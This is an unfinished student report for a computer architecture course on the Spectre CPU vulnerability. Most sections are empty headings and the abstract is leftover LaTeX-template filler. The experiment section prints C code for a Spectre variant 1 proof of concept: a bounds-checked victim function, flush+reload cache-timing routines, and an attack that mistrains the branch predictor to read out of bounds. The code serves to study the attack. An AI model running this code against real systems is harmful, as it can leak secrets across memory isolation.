
Indian Institute of Technology Bombay

CS305/341

Computer Architecture

# i7: Spectre and More


| *Authors:* | *Roll Number:* |
|---|---|
| Sanchit Jain | 160050043 |
| Charith | 160050083 |
| Rahul | 160050072 |
| Suraj | 1600500XX |
| Jeevitesh | 1600500XX |


November 6, 2018

# Contents

# 1 Abstract

## 1.1 What is it About?

This is a simple report template with the UCT logo. Feel free to use/modify it to suit your needs. Variables that need to be altered have been commented to make modifications easier. For example if you need to change the university logo, look for the comment `% University Logo` in this file and then make appropriate modifications in that line.

A Table of Contents and a bibliography have also been implemented. To add entries to your bibliography, simply edit `biblist.bib` in the root folder and then use the `\cite{...}` command in `main.tex` [1]. The Table of Contents will be updated automatically.

I hope that you find this template both visually appealing and useful.

## 1.2 Can someone Explain in Simple words?

— Linus

# 2 Baby Steps/Background

## 2.1 Out of order Execution

## 2.2 Speculation Execution

## 2.3 Branch Prediction

## 2.4 The Memory Hierarchy

## 2.5 Microarchitectural Side-Channel Attacks/Flush-Reload Techniques

## 2.6 Return Oriented Programming

# 3 What is Spectre? Why is it more famous than me?

## 3.1 General

## 3.2 Varient1

## 3.3 Varient2

## 3.4 Varient4

# 4 Our Result(Code+Result(screenshot))

# 5 Proof of Concept Study

# 6 The Experiment

## 6.1 Experiment Setup

### 6.1.1 Restricted Access

```
uint8_t restrictedAccess(size_t x)
{
  if (x < buffer_size) {
    return buffer[x];
  }
  else {
    return 0;
  }
}
```

### 6.1.2 Flush side channel

```
void flushSideChannel()
{
  int i;
  // Write to array to bring it to RAM to prevent Copy-on-write
  for (i = 0; i < 256; i++) array[i*4096 + DELTA] = 0;
    // Flush the values of the array from cache
  for (i = 0; i < 256; i++) _mm_clflush(&array[i*4096 +DELTA]);
}
```

### 6.1.3 Reload Side Channel

```
static int scores[256];
void reloadSideChannel()
{
  int i;
  volatile uint8_t* addr;
  register uint64_t time1, time2;
  int junk = 0;
  for (i = 0; i < 256; i++) {
    addr = &array[i*4096 + DELTA];
    time1 = __rdtscp(&junk);
    junk = *addr;
    time2 = __rdtscp(&junk) - time1;
    if (time2 <= CACHE_HIT_THRESHOLD)
    scores[i]++;
  }
}
```

### 6.1.4 Spectre Attack

```
void spectreAttack(size_t larger_x)
{
  int i;
  uint8_t s;
  for (i = 0; i < 256; i++)  { _mm_clflush(&array[i*4096 + DELTA]); }
  // Train the CPU to take the true branch inside victim().
```

```
7   for (i = 0; i < 10; i++) {
8     _mm_clflush(&buffer_size);
9     restrictedAccess(i);
10  }
11  // Flush buffer_size and array[] from the cache.
12  _mm_clflush(&buffer_size);
13  for (i = 0; i < 256; i++)  { _mm_clflush(&array[i*4096 + DELTA]); }
14  // Ask victim() to return the secret in out-of-order execution.
15  s = restrictedAccess(larger_x);
16  array[s*4096 + DELTA] += 88;
17 }
```

## 6.2 Our Result

## 6.3 Our Technique

# References

[1] Help on BibTeX entry types. http://nwalsh.com/tex/texhelp/bibtx-7.html. Accessed: 2015-03-12.